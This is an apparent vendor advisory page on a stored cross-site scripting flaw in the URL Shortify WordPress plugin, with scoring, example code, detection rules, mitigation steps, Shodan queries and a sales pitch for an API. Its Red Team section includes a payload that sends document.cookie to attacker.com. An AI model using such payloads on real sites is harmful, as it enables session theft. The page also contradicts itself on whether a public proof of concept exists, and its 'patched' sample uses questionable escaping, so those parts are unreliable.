☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Kaizencoders logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-32134

CVE-2025-32134 Cross-Site Scripting in Kaizencoders
📅 PUBLISHED: 2025-04-04 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-32134 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin URL Shortify by KaizenCoders, affecting versions up to and including 1.10.5.1. This flaw allows an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject malicious scripts into the plugin’s web pages. When other users, including site visitors, access the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability arises from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public exploit code is available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. The plugin is not distributed through NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.9 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – The attack is carried out over the network.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: High (PR:H) – The attacker must have an authenticated account with high privileges (e.g., Editor or Administrator).
  • User Interaction: Required (UI:R) – The victim must visit the compromised page.
  • Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of data.
  • Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: Medium. The requirement for high privileges reduces the attack surface, but the potential for stored XSS in a widely used plugin makes it a significant risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the URL Shortify plugin. The plugin allows users to create short URLs and manage them via the WordPress admin panel. The flaw exists in the input handling of the short URL creation or editing functionality. When a user with high privileges (e.g., Editor) creates or updates a short URL, the plugin fails to sanitize or escape the input fields (such as the target URL, slug, or description). This unsanitized input is then stored in the WordPress database and later rendered on the plugin’s admin pages or public-facing short URL redirect pages.

When another user (including a lower-privileged user or a visitor) accesses the affected page, the stored malicious script executes in their browser. This can lead to:

  • Session cookie theft
  • Redirection to malicious sites
  • Defacement of the admin panel
  • Execution of arbitrary actions on behalf of the victim

The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the plugin’s input handling functions. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable code (example)
function save_short_url($data) {
    $slug = $data['slug'];
    // No sanitization or escaping
    update_post_meta($post_id, 'short_url_slug', $slug);
}

A patched version would include proper sanitization and escaping:

// Patched code (example)
function save_short_url($data) {
    $slug = sanitize_text_field($data['slug']);
    $slug = esc_sql($slug);
    update_post_meta($post_id, 'short_url_slug', $slug);
}

Additionally, output escaping should be applied when rendering the stored data:

// Output escaping
echo esc_html(get_post_meta($post_id, 'short_url_slug', true));

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with URL Shortify plugin version <= 1.10.5.1 installed and activated.
  • An authenticated account with Editor or Administrator privileges.

Exploitation Steps:

  1. Log in to the WordPress admin panel with the high-privilege account.
  2. Navigate to the URL Shortify plugin’s “Add New” or “Edit” short URL page.
  3. In one of the input fields (e.g., the “Target URL” or “Slug” field), inject a malicious JavaScript payload. For example:
    "><script>alert('XSS')</script>
    
    Or a more sophisticated payload:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the short URL. The payload is now stored in the database.
  5. When any user (including a site visitor) accesses the page that displays this short URL (e.g., the admin list table or the public redirect page), the script executes.

Note: No public exploit code is available, so the above is a generic demonstration.

Blue Team

Detection and Prevention:

  1. Input Validation: Ensure all user inputs are sanitized using WordPress functions like sanitize_text_field(), esc_sql(), and wp_kses().
  2. Output Escaping: Use esc_html(), esc_attr(), and esc_url() when rendering stored data.
  3. Content Security Policy (CSP): Implement a strict CSP header to block inline scripts.
  4. Web Application Firewall (WAF): Deploy a WAF with rules to detect and block XSS payloads.
  5. User Privilege Review: Limit the number of users with Editor or Administrator privileges.
  6. Plugin Update: Monitor the plugin’s repository for a patched version and update immediately when available.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to known malicious domains or IP addresses from the WordPress server.
    • Unusual Referer headers in requests to the WordPress admin panel.
  • File IOCs:
    • Modified plugin files (e.g., url-shortify.php) containing injected JavaScript.
    • Suspicious entries in the WordPress database (e.g., wp_postmeta table with meta_key like short_url_slug containing script tags).
  • Log IOCs:
    • WordPress debug log entries showing PHP warnings or errors related to the plugin.
    • Web server access logs showing requests to the plugin’s admin pages with unusual query parameters.

Detection Engineering

YARA Rule

rule CVE_2025_32134_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in URL Shortify plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-32134"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = /wp-content\/plugins\/url-shortify/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in URL Shortify Plugin
id: 8f4a3c2e-1b7d-4f9a-8c5e-6d2f3a1b4c7e
status: experimental
description: Detects stored XSS attempts in URL Shortify plugin
author: Valters IT
date: 2025/04/17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32134
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'url-shortify'
        cs-uri-query|contains: 'action=save'
    condition: selection
falsepositives:
    - Legitimate plugin usage
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32134 Stored XSS in URL Shortify"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=url_shortify_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: If the plugin is not critical, deactivate and delete it until a patch is released.
  2. Restrict User Privileges: Remove Editor or Administrator roles from users who do not require them.
  3. Apply Virtual Patching: Use a WAF to block requests containing XSS payloads in the plugin’s input fields.

Long-Term Fix:

  • Monitor the plugin’s official repository for a patched version (e.g., 1.10.6 or higher) and update immediately.
  • If the plugin is abandoned, consider migrating to an alternative short URL plugin with active maintenance.

Valters IT
Cyber Threat Intelligence Division
Report generated on 2025-04-17

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"URL Shortify"
http.html:"url-shortify"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-32134/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.